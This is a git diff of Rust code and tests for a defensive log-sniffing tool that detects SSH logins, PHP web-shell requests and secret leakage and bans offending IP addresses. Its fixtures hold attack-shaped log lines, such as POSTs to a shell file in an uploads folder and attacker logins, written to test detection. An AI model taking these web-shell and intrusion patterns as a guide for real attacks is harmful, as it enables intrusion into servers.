assert!(active_block_for_ip(&orchestrator.pool, "192.0.2.80") - .unwrap() - .is_none()); + .and_then(|metadata| metadata.source_path.as_deref()) + == Some("/var/log/auth.log") + })); } - #[actix_rt::test] - async fn test_apply_ip_ban_blocks_and_emits_alert_after_repeated_anomalies() { - let orchestrator = SniffOrchestrator::new(memory_sniff_config()).unwrap(); - let engine = IpBanEngine::new( - orchestrator.pool.clone(), + #[tokio::test] + async fn test_orchestrator_reports_file_integrity_drift() { + let dir = tempfile::tempdir().unwrap(); + let monitored = dir.path().join("app.env"); + std::fs::write(&monitored, "TOKEN=first").unwrap(); + + let mut config = memory_sniff_config(); + config.integrity_paths = vec![monitored.to_string_lossy().into_owned()]; + + let orchestrator = SniffOrchestrator::new(config).unwrap(); + orchestrator.run_once().await.unwrap(); + + std::fs::write(&monitored, "TOKEN=second").unwrap(); + let result = orchestrator.run_once().await.unwrap(); + + assert!(result.anomalies_found >= 1); + + let alerts = list_alerts(&orchestrator.pool, AlertFilter::default()) + .await + .unwrap(); + assert!(alerts.iter().any(|alert| { + alert + .metadata + .as_ref() + .and_then(|metadata| metadata.extra.get("detector_id").map(String::as_str)) + == Some("integrity.file-baseline") + })); + } + + #[tokio::test] + async fn test_orchestrator_reports_config_assessment_findings() { + let dir = tempfile::tempdir().unwrap(); + let sshd = dir.path().join("sshd_config"); + std::fs::write(&sshd, "PermitRootLogin yes\nPasswordAuthentication yes\n").unwrap(); + + let mut config = memory_sniff_config(); + config.config_assessment_paths = vec![sshd.to_string_lossy().into_owned()]; + + let orchestrator = SniffOrchestrator::new(config).unwrap(); + let result = orchestrator.run_once().await.unwrap(); + + assert!(result.anomalies_found >= 1); + + let alerts = list_alerts(&orchestrator.pool, AlertFilter::default()) + .await + .unwrap(); + assert!(alerts.iter().any(|alert| { + alert + .metadata + .as_ref() + .and_then(|metadata| metadata.extra.get("detector_id").map(String::as_str)) + == Some("config.ssh-root-login") + })); + } + + #[tokio::test] + async fn test_orchestrator_reports_package_inventory_findings() { + let dir = tempfile::tempdir().unwrap(); + let status = dir.path().join("status"); + std::fs::write( + &status, + "Package: openssl\nVersion: 1.0.2u-1\n\nPackage: bash\nVersion: 4.3-1\n", + ) + .unwrap(); + + let mut config = memory_sniff_config(); + config.package_inventory_paths = vec![status.to_string_lossy().into_owned()]; + + let orchestrator = SniffOrchestrator::new(config).unwrap(); + let result = orchestrator.run_once().await.unwrap(); + + assert!(result.anomalies_found >= 1); + + let alerts = list_alerts(&orchestrator.pool, AlertFilter::default()) + .await + .unwrap(); + assert!(alerts.iter().any(|alert| { + alert + .metadata + .as_ref() + .and_then(|metadata| metadata.extra.get("detector_id").map(String::as_str)) + == Some("vuln.legacy-package") + })); + } + + fn anomaly_with(description: &str, sample_line: &str) -> analyzer::LogAnomaly { + analyzer::LogAnomaly { + description: description.into(), + severity: analyzer::AnomalySeverity::Critical, + sample_line: sample_line.into(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: None, + } + } + + #[test] + fn test_accused_ips_in_auth_line_picks_the_client() { + assert_eq!( + accused_ips_in_auth_line( + "Failed password for root from 203.0.113.9 port 22 ssh2 on 198.51.100.1" + ), + vec!["203.0.113.9".to_string()], + "the server's own address must not be accused alongside the client" + ); + assert_eq!( + accused_ips_in_auth_line("pam_unix(sshd:auth): rhost=203.0.113.9 user=root"), + vec!["203.0.113.9".to_string()] + ); + } + + #[test] + fn test_accused_ips_in_auth_line_abstains_when_ambiguous() { + assert!(accused_ips_in_auth_line("relay 203.0.113.9 -> 198.51.100.4 failed").is_empty()); + assert!(accused_ips_in_auth_line("authentication failure").is_empty()); + } + + #[test] + fn test_should_auto_ban_ignores_ordinary_traffic_wording() { + for description in [ + "Frequent access from IP 203.0.113.9", + "Rejected connection observed", + "Possible attack surface noted", + "Scanning of the log directory completed", + "Client targeting the checkout endpoint", + ] { + let anomaly = anomaly_with(description, "GET /health 200"); + assert!( + !should_auto_ban(&anomaly), + "{description:?} must not be grounds for a ban" + ); + } + } + + #[test] + fn test_should_auto_ban_still_acts_on_named_attacks() { + for description in [ + "Brute-force login attempts detected", + "SQL injection attempt against /search", + "Path traversal attempt observed", + ] { + let anomaly = anomaly_with(description, "GET /?q=1"); + assert!(should_auto_ban(&anomaly), "{description:?} should ban"); + } + } + + #[test] + fn test_implicated_ips_uses_the_evidence() { + let anomaly = anomaly_with("Probing attempts detected", "x-real-ip: 132.243.165.112"); + assert_eq!( + implicated_ips(&anomaly), + vec!["132.243.165.112".to_string()] + ); + } + + #[test] + fn test_implicated_ips_falls_back_to_the_description() { + let anomaly = anomaly_with( + "Probing attempts detected from IP 132.243.165.112.", + "unhandled error: Rejection(MethodNotAllowed)", + ); + assert_eq!( + implicated_ips(&anomaly), + vec!["132.243.165.112".to_string()] + ); + } + + #[test] + fn test_implicated_ips_accuses_nobody_without_evidence() { + // Previously this harvested every address in the batch, banning each + // one for a finding that named none of them. + let anomaly = anomaly_with( + "Repeated internal errors observed", + "unhandled error: Rejection(MethodNotAllowed)", + ); + assert!(implicated_ips(&anomaly).is_empty()); + } + + #[actix_rt::test] + async fn test_apply_ip_ban_spares_bystanders_when_evidence_names_nobody() { + let orchestrator = SniffOrchestrator::new(memory_sniff_config()).unwrap(); + let engine = IpBanEngine::new( + orchestrator.pool.clone(), + IpBanConfig { + enabled: true, + max_retries: 1, + find_time_secs: 300, + ban_time_secs: 1800, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, + }, + ); + + // Unrelated visitors, present in the batch but accused of nothing. + let entries: Vec = ["130.12.180.77", "93.185.165.134"] + .iter() + .map(|ip| reader::LogEntry { + source_id: "s1".into(), + timestamp: Utc::now(), + line: format!("{ip} - - GET /health 200"), + metadata: std::collections::HashMap::new(), + }) + .collect(); + + let summary = analyzer::LogSummary { + source_id: "s1".into(), + period_start: Utc::now(), + period_end: Utc::now(), + total_entries: entries.len(), + summary_text: "test".into(), + error_count: 0, + warning_count: 0, + key_events: vec![], + anomalies: vec![anomaly_with( + "Repeated internal errors observed", + "unhandled error: Rejection(MethodNotAllowed)", + )], + }; + let source = discovery::LogSource::new( + discovery::LogSourceType::DockerContainer, + "cd7d713f81d1".into(), + "docker:toolchain".into(), + ); + + orchestrator + .apply_ip_ban(&entries, &source, &summary, &engine) + .await + .unwrap(); + + for ip in ["130.12.180.77", "93.185.165.134"] { + assert!( + active_block_for_ip(&orchestrator.pool, ip) + .unwrap() + .is_none(), + "{ip} was banned for someone else's finding" + ); + } + } + + #[actix_rt::test] + async fn test_apply_ip_ban_records_offense_metadata_from_anomaly() { + let orchestrator = SniffOrchestrator::new(memory_sniff_config()).unwrap(); + let engine = IpBanEngine::new( + orchestrator.pool.clone(), + IpBanConfig { + enabled: true, + max_retries: 2, + find_time_secs: 300, + ban_time_secs: 60, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, + }, + ); + let summary = make_summary( + "Failed password for root from 95.163.183.214 port 2222 ssh2", + AnomalySeverity::High, + ); + let source = test_log_source(); + + orchestrator + .apply_ip_ban(&[], &source, &summary, &engine) + .await + .unwrap(); + + let offenses = find_recent_offenses( + &orchestrator.pool, + "95.163.183.214", + "sniff", + Utc::now() - chrono::Duration::minutes(5), + ) + .unwrap(); + assert_eq!(offenses.len(), 1); + assert_eq!(offenses[0].reason, "Repeated failed ssh login"); + assert_eq!( + offenses[0] + .metadata + .as_ref() + .and_then(|metadata| metadata.sample_line.as_deref()), + Some("Failed password for root from 95.163.183.214 port 2222 ssh2") + ); + assert!(active_block_for_ip(&orchestrator.pool, "95.163.183.214") + .unwrap() + .is_none()); + } + + #[actix_rt::test] + async fn test_apply_ip_ban_blocks_and_emits_alert_after_repeated_anomalies() { + let orchestrator = SniffOrchestrator::new(memory_sniff_config()).unwrap(); + let engine = IpBanEngine::new( + orchestrator.pool.clone(), IpBanConfig { enabled: true, max_retries: 2, find_time_secs: 300, ban_time_secs: 60, unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, }, ); let summary = make_summary( - "Failed password for root from 192.0.2.81 port 3333 ssh2", + "Failed password for root from 95.163.183.215 port 3333 ssh2", AnomalySeverity::Critical, ); + let source = test_log_source(); - orchestrator.apply_ip_ban(&summary, &engine).await.unwrap(); - let second_attempt = orchestrator.apply_ip_ban(&summary, &engine).await; + orchestrator + .apply_ip_ban(&[], &source, &summary, &engine) + .await + .unwrap(); + let second_attempt = orchestrator + .apply_ip_ban(&[], &source, &summary, &engine) + .await; #[cfg(target_os = "linux")] if !running_as_root() { @@ -501,7 +1567,7 @@ mod tests { second_attempt.unwrap(); - assert!(active_block_for_ip(&orchestrator.pool, "192.0.2.81") + assert!(active_block_for_ip(&orchestrator.pool, "95.163.183.215") .unwrap() .is_some()); @@ -510,10 +1576,12 @@ mod tests { .unwrap(); assert_eq!(alerts.len(), 1); assert_eq!(alerts[0].alert_type.to_string(), "ThresholdExceeded"); - assert_eq!( - alerts[0].message, - "Blocked IP 192.0.2.81 after repeated sniff offenses" - ); + // The message must carry the evidence, not just the verdict. + let message = &alerts[0].message; + assert!(message.contains("Blocked IP 95.163.183.215")); + assert!(message.contains("after 2 sniff offenses")); + assert!(message.contains("/var/log/auth.log")); + assert!(message.contains("Failed password for root from 95.163.183.215")); assert_eq!( alerts[0] .metadata @@ -529,4 +1597,452 @@ mod tests { Some("Repeated failed ssh login") ); } + + fn php_shell_anomalies(lines: &[&str]) -> Vec { + use crate::detectors::php_shell::{FlaggedFile, PhpShellAccessDetector}; + use crate::detectors::LogDetector; + + let detector = + PhpShellAccessDetector::new(std::sync::Arc::new(std::sync::RwLock::new(vec![ + FlaggedFile { + logical_path: "/var/www/html/wp-content/uploads/x.php".into(), + in_upload_dir: true, + }, + FlaggedFile { + logical_path: "/var/www/html/index.php".into(), + in_upload_dir: false, + }, + ]))); + let entries: Vec = lines + .iter() + .map(|line| reader::LogEntry { + source_id: "nginx".into(), + timestamp: Utc::now(), + line: (*line).into(), + metadata: std::collections::HashMap::new(), + }) + .collect(); + detector + .detect(&entries) + .iter() + .map(|finding| finding.to_log_anomaly()) + .collect() + } + + #[test] + fn test_php_shell_access_bans_but_visits_to_infected_pages_do_not() { + let shell = php_shell_anomalies(&[ + r#"95.163.183.216 - - [31/Oct/2026:10:00:00 +0000] "POST /wp-content/uploads/x.php HTTP/1.1" 200 5 "-" "x""#, + ]); + assert_eq!(shell.len(), 1); + assert!(should_auto_ban(&shell[0])); + + // AI-finding phrases are on by default: the alert-only finding must + // not read as one either. + let visit = php_shell_anomalies(&[ + r#"198.51.100.7 - - [31/Oct/2026:10:00:00 +0000] "GET /index.php?p=42 HTTP/1.1" 200 5 "-" "x""#, + ]); + assert_eq!(visit.len(), 1); + assert_eq!(visit[0].detector_id.as_deref(), Some("php.shell-request")); + assert!(!should_auto_ban(&visit[0])); + } + + #[test] + fn test_php_alert_only_findings_never_ban_whatever_the_wording() { + for detector_id in [ + "php.shell-file", + "php.shell-request", + "vuln.php2shell", + "php.worker-crash", + "vuln.sshole", + ] { + let anomaly = LogAnomaly { + description: "Request to a file flagged as a PHP shell: GET /webshell.php".into(), + severity: AnomalySeverity::High, + sample_line: r#"203.0.113.9 - - [31/Oct/2026:10:00:00 +0000] "GET /webshell.php HTTP/1.1" 200 5 "-" "x""#.into(), + detector_id: Some(detector_id.into()), + detector_family: None, + confidence: Some(70), + suggested_action: None, + }; + assert!(!should_auto_ban(&anomaly), "{detector_id}"); + } + } + + #[test] + fn test_phpshell_disabled_removes_the_access_detector() { + let mut config = memory_sniff_config(); + config.phpshell_enabled = false; + let orchestrator = SniffOrchestrator::new(config).unwrap(); + let entries = vec![reader::LogEntry { + source_id: "nginx".into(), + timestamp: Utc::now(), + line: r#"203.0.113.9 - - [31/Oct/2026:10:00:00 +0000] "POST /uploads/a.php HTTP/1.1" 200 5 "-" "x""#.into(), + metadata: std::collections::HashMap::new(), + }]; + assert!(orchestrator + .detectors + .detect_log_anomalies(&entries) + .iter() + .all(|anomaly| anomaly.detector_id.as_deref() != Some("web.php-shell-access"))); + } + + #[actix_rt::test] + async fn test_php2shell_attempts_count_one_offense_per_line() { + let orchestrator = SniffOrchestrator::new(memory_sniff_config()).unwrap(); + let engine = IpBanEngine::new( + orchestrator.pool.clone(), + IpBanConfig { + enabled: true, + // High enough that the test records offenses without blocking. + max_retries: 100, + find_time_secs: 300, + ban_time_secs: 60, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, + }, + ); + let line = "[Sat Oct 31 16:40:23.085328 2026] [php:error] [pid 18:tid 18] [client 95.163.183.216:55324] PHP Fatal error: Allowed memory size of 4194304 bytes exhausted (tried to allocate 2097152 bytes) in Unknown on line 0"; + let entries: Vec = (0..5) + .map(|_| reader::LogEntry { + source_id: "apache".into(), + timestamp: Utc::now(), + line: line.into(), + metadata: std::collections::HashMap::new(), + }) + .collect(); + let mut summary = make_summary("unused", AnomalySeverity::Critical); + // Through the registry, as production runs it: identical lines, as a + // burst within one timestamp tick logs them, must each count. + summary.anomalies = orchestrator + .detectors + .detect_log_anomalies(&entries) + .into_iter() + .filter(|anomaly| anomaly.detector_id.as_deref() == Some("web.php2shell-attempt")) + .collect(); + assert_eq!(summary.anomalies.len(), 5); + assert!(summary.anomalies.iter().all(should_auto_ban)); + + orchestrator + .apply_ip_ban(&[], &test_log_source(), &summary, &engine) + .await + .unwrap(); + + // One row per address; five lines count five times. + let since = Utc::now() - chrono::Duration::minutes(5); + let offenses = + find_recent_offenses(&orchestrator.pool, "95.163.183.216", "sniff", since).unwrap(); + assert_eq!(offenses.len(), 1); + assert_eq!(offenses[0].offense_count, 5); + } + + #[actix_rt::test] + async fn test_sshole_attack_is_detected_and_the_attacker_banned() { + // The whole defense chain against the observed SSHole attack + // (89.116.89.18 ran id, uname and hostname through non-interactive + // sessions after logging in with an oversized password). + // + // Fixtures are real: the apk stanza is Alpine 3.20's openssh + // 9.7_p1-r6, captured from a live container; the login lines are the + // session shape real sshd produced there (captured verbatim in the + // detector tests), with the client address set to the attacker from + // the public report. The exploit itself is not reproduced here — its + // log footprint is an ordinary password login. + let orchestrator = SniffOrchestrator::new(memory_sniff_config()).unwrap(); + + // 1. The exposed system: an apk database that predates the fix. + let rootfs = tempfile::tempdir().unwrap(); + let apk = rootfs.path().join("lib/apk/db"); + std::fs::create_dir_all(&apk).unwrap(); + std::fs::write( + apk.join("installed"), + "P:openssh\nV:9.7_p1-r6\n\nP:openssh-server\nV:9.7_p1-r6\n\n", + ) + .unwrap(); + let version_anomalies = orchestrator + .detectors + .detect_sshole_anomalies(&[], rootfs.path().to_str()); + assert_eq!(version_anomalies.len(), 1, "{version_anomalies:#?}"); + assert_eq!( + version_anomalies[0].detector_id.as_deref(), + Some("vuln.sshole") + ); + assert_eq!(version_anomalies[0].severity, AnomalySeverity::Critical); + assert!(version_anomalies[0].description.contains("9.7_p1-r6")); + // A version names no attacker: it must never reach the ban engine. + assert!(!should_auto_ban(&version_anomalies[0])); + + // 2. The attack in the logs: three password sessions (three recon + // commands) and two failed attempts against accounts with real + // passwords. + let entries: Vec = [ + "Accepted password for root from 89.116.89.18 port 28046 ssh2", + "Accepted password for root from 89.116.89.18 port 28048 ssh2", + "Accepted password for alpine from 89.116.89.18 port 28050 ssh2", + "Failed password for deploy from 89.116.89.18 port 28052 ssh2", + "Failed password for admin from 89.116.89.18 port 28054 ssh2", + ] + .into_iter() + .map(|line| reader::LogEntry { + source_id: "sshd".into(), + timestamp: Utc::now(), + line: line.into(), + metadata: std::collections::HashMap::new(), + }) + .collect(); + + let detector_anomalies = orchestrator.detectors.detect_log_anomalies(&entries); + let logins: Vec = detector_anomalies + .into_iter() + .filter(|anomaly| anomaly.detector_id.as_deref() == Some("ssh.password-login")) + .collect(); + assert_eq!(logins.len(), 3, "{logins:#?}"); + assert!(logins.iter().all(should_auto_ban)); + assert!(logins[0].sample_line.contains("89.116.89.18")); + + // 3. The ban engine: a login finding bans on the first offense (a + // foothold must not wait for five), so the attacker is out before + // the recon sessions finish. + let engine = IpBanEngine::new( + orchestrator.pool.clone(), + IpBanConfig { + enabled: true, + max_retries: 5, + find_time_secs: 300, + ban_time_secs: 60, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, + }, + ); + let mut summary = make_summary("unused", AnomalySeverity::Critical); + summary.anomalies = logins; + let apply = orchestrator + .apply_ip_ban(&entries, &test_log_source(), &summary, &engine) + .await; + + // On Linux without root the firewall write fails before the block is + // recorded. That is a test-environment limit, not detector behavior. + #[cfg(target_os = "linux")] + if !running_as_root() { + let error = apply.unwrap_err().to_string(); + assert!( + error.contains("Operation not permitted") + || error.contains("Permission denied") + || error.contains("you must be root") + ); + return; + } + + apply.unwrap(); + + assert!( + active_block_for_ip(&orchestrator.pool, "89.116.89.18") + .unwrap() + .is_some(), + "the attacker must be banned on the first login finding" + ); + } + + #[actix_rt::test] + async fn test_one_password_login_bans_immediately() { + // One password login to a key-only account is already a foothold: + // waiting for five offenses would give the intruder time to switch + // the monitoring off. The first line bans — except for allowlisted + // and protected addresses, which stay untouched whatever the policy. + let orchestrator = SniffOrchestrator::new(memory_sniff_config()).unwrap(); + let engine = IpBanEngine::new( + orchestrator.pool.clone(), + IpBanConfig { + enabled: true, + // The default threshold: irrelevant for this detector. + max_retries: 5, + find_time_secs: 300, + ban_time_secs: 60, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![("95.163.183.217".parse().unwrap(), 32)], + max_bans_per_minute: 0, + protect_local_ips: true, + }, + ); + let entries: Vec = [ + "Nov 6 10:00:00 host sshd[123]: Accepted password for root from 95.163.183.216 port 51234 ssh2", + "Nov 6 10:00:01 host sshd[124]: Accepted password for root from 95.163.183.217 port 51236 ssh2", + ] + .into_iter() + .map(|line| reader::LogEntry { + source_id: "sshd".into(), + timestamp: Utc::now(), + line: line.into(), + metadata: std::collections::HashMap::new(), + }) + .collect(); + let mut summary = make_summary("unused", AnomalySeverity::Critical); + summary.anomalies = orchestrator + .detectors + .detect_log_anomalies(&entries) + .into_iter() + .filter(|anomaly| anomaly.detector_id.as_deref() == Some("ssh.password-login")) + .collect(); + assert_eq!(summary.anomalies.len(), 2); + + let apply = orchestrator + .apply_ip_ban(&[], &test_log_source(), &summary, &engine) + .await; + + // On Linux without root the firewall write fails before the block is + // recorded. That is a test-environment limit, not detector behavior. + #[cfg(target_os = "linux")] + if !running_as_root() { + let error = apply.unwrap_err().to_string(); + assert!( + error.contains("Operation not permitted") + || error.contains("Permission denied") + || error.contains("you must be root") + ); + return; + } + + apply.unwrap(); + + assert!( + active_block_for_ip(&orchestrator.pool, "95.163.183.216") + .unwrap() + .is_some(), + "a single login line must be enough to ban" + ); + assert!( + active_block_for_ip(&orchestrator.pool, "95.163.183.217") + .unwrap() + .is_none(), + "allowlisted addresses must never be banned" + ); + } + + #[actix_rt::test] + async fn test_php_shell_access_records_offense_except_for_allowlisted() { + let orchestrator = SniffOrchestrator::new(memory_sniff_config()).unwrap(); + let engine = IpBanEngine::new( + orchestrator.pool.clone(), + IpBanConfig { + enabled: true, + max_retries: 5, + find_time_secs: 300, + ban_time_secs: 60, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![("95.163.183.217".parse().unwrap(), 32)], + max_bans_per_minute: 0, + protect_local_ips: true, + }, + ); + let mut summary = make_summary("unused", AnomalySeverity::Critical); + summary.anomalies = php_shell_anomalies(&[ + r#"95.163.183.216 - - [31/Oct/2026:10:00:00 +0000] "POST /wp-content/uploads/x.php HTTP/1.1" 200 5 "-" "x""#, + r#"95.163.183.217 - - [31/Oct/2026:10:00:01 +0000] "POST /wp-content/uploads/x.php HTTP/1.1" 200 5 "-" "x""#, + ]); + assert_eq!(summary.anomalies.len(), 2); + + orchestrator + .apply_ip_ban(&[], &test_log_source(), &summary, &engine) + .await + .unwrap(); + + let since = Utc::now() - chrono::Duration::minutes(5); + assert_eq!( + find_recent_offenses(&orchestrator.pool, "95.163.183.216", "sniff", since) + .unwrap() + .len(), + 1 + ); + assert!( + find_recent_offenses(&orchestrator.pool, "95.163.183.217", "sniff", since) + .unwrap() + .is_empty() + ); + } + + #[actix_rt::test] + async fn test_apply_ip_ban_skips_non_bannable_anomalies() { + let orchestrator = SniffOrchestrator::new(memory_sniff_config()).unwrap(); + let engine = IpBanEngine::new( + orchestrator.pool.clone(), + IpBanConfig { + enabled: true, + max_retries: 1, + find_time_secs: 300, + ban_time_secs: 60, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, + }, + ); + let summary = make_detector_summary( + "Potential secret leakage detected in 1 log entries", + "Client 95.163.183.214 saw secret-like output", + AnomalySeverity::High, + Some("secrets.log-leakage"), + ); + let source = test_log_source(); + + orchestrator + .apply_ip_ban(&[], &source, &summary, &engine) + .await + .unwrap(); + + let offenses = find_recent_offenses( + &orchestrator.pool, + "95.163.183.214", + "sniff", + Utc::now() - chrono::Duration::minutes(5), + ) + .unwrap(); + assert!(offenses.is_empty()); + } + + #[actix_rt::test] + async fn test_apply_ip_ban_skips_loopback_and_private_ips() { + let orchestrator = SniffOrchestrator::new(memory_sniff_config()).unwrap(); + let engine = IpBanEngine::new( + orchestrator.pool.clone(), + IpBanConfig { + enabled: true, + max_retries: 1, + find_time_secs: 300, + ban_time_secs: 60, + unban_check_interval_secs: 60, + trusted_proxy_ranges: vec![], + allowlist_ranges: vec![], + max_bans_per_minute: 0, + protect_local_ips: true, + }, + ); + let summary = make_summary( + "Failed password for root from 127.0.0.1 port 2222 ssh2", + AnomalySeverity::High, + ); + let source = test_log_source(); + + orchestrator + .apply_ip_ban(&[], &source, &summary, &engine) + .await + .unwrap(); + + let offenses = find_recent_offenses( + &orchestrator.pool, + "127.0.0.1", + "sniff", + Utc::now() - chrono::Duration::minutes(5), + ) + .unwrap(); + assert!(offenses.is_empty()); + } } diff --git a/src/sniff/reader.rs b/src/sniff/reader.rs index 6f1c235..51b3c2b 100644 --- a/src/sniff/reader.rs +++ b/src/sniff/reader.rs @@ -5,7 +5,7 @@ use anyhow::Result; use async_trait::async_trait; -use chrono::{DateTime, Utc}; +use chrono::{DateTime, Datelike, NaiveDateTime, Utc}; use std::collections::HashMap; use std::fs::File; use std::io::{BufRead, BufReader, Seek, SeekFrom}; @@ -21,6 +21,9 @@ pub struct LogEntry { } /// Trait for reading log entries from a source +// async-trait expands to #[must_use] fns returning Result; newer clippy +// flags that Result already implies must_use. +#[allow(clippy::double_must_use)] #[async_trait] pub trait LogReader: Send + Sync { /// Read new entries since the last read position @@ -82,12 +85,7 @@ impl FileLogReader { let decoded = String::from_utf8_lossy(&line); let trimmed = decoded.trim_end().to_string(); if !trimmed.is_empty() { - entries.push(LogEntry { - source_id: self.source_id.clone(), - timestamp: Utc::now(), - line: trimmed, - metadata: HashMap::from([("source_path".into(), self.path.clone())]), - }); + entries.push(parse_file_log_entry(&self.source_id, &self.path, &trimmed)); } line.clear(); } @@ -103,6 +101,85 @@ impl FileLogReader { } } +fn parse_file_log_entry(source_id: &str, source_path: &str, raw_line: &str) -> LogEntry { + let (timestamp, line, mut metadata) = parse_syslog_line(raw_line); + metadata.insert("source_path".into(), source_path.to_string()); + + LogEntry { + source_id: source_id.to_string(), + timestamp, + line, + metadata, + } +} + +fn parse_syslog_line(raw_line: &str) -> (DateTime, String, HashMap) { + parse_rfc5424_syslog(raw_line) + .or_else(|| parse_rfc3164_syslog(raw_line)) + .unwrap_or_else(|| (Utc::now(), raw_line.to_string(), HashMap::new())) +} + +fn parse_rfc5424_syslog( + raw_line: &str, +) -> Option<(DateTime, String, HashMap)> { + let line = raw_line.trim(); + let rest = line.strip_prefix('<')?; + let pri_end = rest.find('>')?; + let after_pri = &rest[pri_end + 1..]; + let fields: Vec<&str> = after_pri.splitn(8, ' ').collect(); + if fields.len() < 8 { + return None; + } + if !fields[0].chars().all(|ch| ch.is_ascii_digit()) { + return None; + } + + let timestamp = chrono::DateTime::parse_from_rfc3339(fields[1]) + .ok()? + .with_timezone(&Utc); + let host = fields[2]; + let app = fields[3]; + let message = fields[7].trim(); + + let mut metadata = HashMap::new(); + metadata.insert("syslog_host".into(), host.to_string()); + metadata.insert("syslog_app".into(), app.to_string()); + metadata.insert("syslog_format".into(), "rfc5424".into()); + + Some((timestamp, message.to_string(), metadata)) +} + +fn parse_rfc3164_syslog( + raw_line: &str, +) -> Option<(DateTime, String, HashMap)> { + if raw_line.len() < 16 { + return None; + } + + let timestamp_part = raw_line.get(..15)?; + let year = Utc::now().year(); + let naive = + NaiveDateTime::parse_from_str(&format!("{} {}", timestamp_part, year), "%b %e %H:%M:%S %Y") + .ok()?; + let timestamp = DateTime::::from_naive_utc_and_offset(naive, Utc); + + let remainder = raw_line.get(16..)?.trim_start(); + let (host, message_part) = remainder.split_once(' ')?; + let (line, program) = match message_part.split_once(": ") { + Some((program, message)) => (message.to_string(), Some(program.to_string())), + None => (message_part.to_string(), None), + }; + + let mut metadata = HashMap::new(); + metadata.insert("syslog_host".into(), host.to_string()); + metadata.insert("syslog_format".into(), "rfc3164".into()); + if let Some(program) = program { + metadata.insert("syslog_program".into(), program); + } + + Some((timestamp, line, metadata)) +} + #[async_trait] impl LogReader for FileLogReader { async fn read_new_entries(&mut self) -> Result> { @@ -435,6 +512,77 @@ mod tests { assert_eq!(entries[0].metadata.get("source_path"), Some(&path_str)); } + #[tokio::test] + async fn test_file_log_reader_parses_rfc3164_syslog_lines() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("syslog.log"); + { + let mut f = File::create(&path).unwrap(); + writeln!( + f, + "Apr 7 09:30:00 host sshd[123]: Failed password for root from 192.0.2.10" + ) + .unwrap(); + } + + let mut reader = FileLogReader::new("syslog".into(), path.to_string_lossy().to_string(), 0); + let entries = reader.read_new_entries().await.unwrap(); + + assert_eq!(entries.len(), 1); + assert_eq!( + entries[0].metadata.get("syslog_format").map(String::as_str), + Some("rfc3164") + ); + assert_eq!( + entries[0].metadata.get("syslog_host").map(String::as_str), + Some("host") + ); + assert_eq!( + entries[0] + .metadata + .get("syslog_program") + .map(String::as_str), + Some("sshd[123]") + ); + assert!(entries[0].line.starts_with("Failed password for root")); + } + + #[tokio::test] + async fn test_file_log_reader_parses_rfc5424_syslog_lines() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("syslog5424.log"); + { + let mut f = File::create(&path).unwrap(); + writeln!( + f, + "<34>1 2026-04-07T09:30:00Z host sshd - - - Failed password for root from 192.0.2.10" + ) + .unwrap(); + } + + let mut reader = FileLogReader::new("syslog".into(), path.to_string_lossy().to_string(), 0); + let entries = reader.read_new_entries().await.unwrap(); + + assert_eq!(entries.len(), 1); + assert_eq!( + entries[0].metadata.get("syslog_format").map(String::as_str), + Some("rfc5424") + ); + assert_eq!( + entries[0].metadata.get("syslog_host").map(String::as_str), + Some("host") + ); + assert_eq!( + entries[0].metadata.get("syslog_app").map(String::as_str), + Some("sshd") + ); + assert_eq!(entries[0].line, "Failed password for root from 192.0.2.10"); + assert_eq!( + entries[0].timestamp.to_rfc3339(), + "2026-04-07T09:30:00+00:00" + ); + } + #[test] fn test_docker_log_reader_new() { let reader = DockerLogReader::new("d-1".into(), "abc123".into()); diff --git a/src/sniff/reporter.rs b/src/sniff/reporter.rs index 192aabf..90d76a0 100644 --- a/src/sniff/reporter.rs +++ b/src/sniff/reporter.rs @@ -3,22 +3,34 @@ //! Converts log summaries and anomalies into alerts, then dispatches //! them via the existing notification channels. +use std::cell::RefCell; + use crate::alerting::alert::{Alert, AlertSeverity, AlertType}; +use crate::alerting::dedup::{AlertDeduplicator, DedupConfig}; use crate::alerting::notifications::{NotificationConfig, NotificationResult}; use crate::database::connection::DbPool; +use crate::database::models::{Alert as StoredAlert, AlertMetadata}; +use crate::database::repositories::alerts::create_alert; use crate::database::repositories::log_sources; use crate::sniff::analyzer::{AnomalySeverity, LogSummary}; +use crate::sniff::discovery::{LogSource, LogSourceType}; use anyhow::Result; /// Reports log analysis results to alert channels and persists summaries pub struct Reporter { notification_config: NotificationConfig, + deduplicator: RefCell, } impl Reporter { - pub fn new(notification_config: NotificationConfig) -> Self { + /// Build a reporter that suppresses repeats of the same finding for + /// `dedup_window_secs` (see `STACKDOG_ALERT_DEDUP_WINDOW_SECS`). + pub fn new(notification_config: NotificationConfig, dedup_window_secs: u64) -> Self { Self { notification_config, + deduplicator: RefCell::new(AlertDeduplicator::new( + DedupConfig::default().with_window_seconds(dedup_window_secs), + )), } } @@ -33,11 +45,17 @@ impl Reporter { } /// Report a log summary: persist to DB and send anomaly alerts + /// + /// `source` carries the human-readable identity of the log source. It is + /// optional because synthetic summaries (file integrity, package audit) + /// already use a readable `source_id`. pub async fn report( &self, summary: &LogSummary, pool: Option<&DbPool>, + source: Option<&LogSource>, ) -> Result { + let source_label = describe_source(&summary.source_id, source); let mut alerts_sent = 0; // Persist summary to database @@ -70,16 +88,69 @@ impl Reporter { anomaly.description ); - let alert = Alert::new( - AlertType::AnomalyDetected, - alert_severity, - format!( - "[Log Sniff] {} — Source: {} | Sample: {}", - anomaly.description, summary.source_id, anomaly.sample_line - ), + let mut message = format!( + "[Log Sniff] {} — Source: {} | Sample: {}", + anomaly.description, source_label, anomaly.sample_line ); + if let Some(ref action) 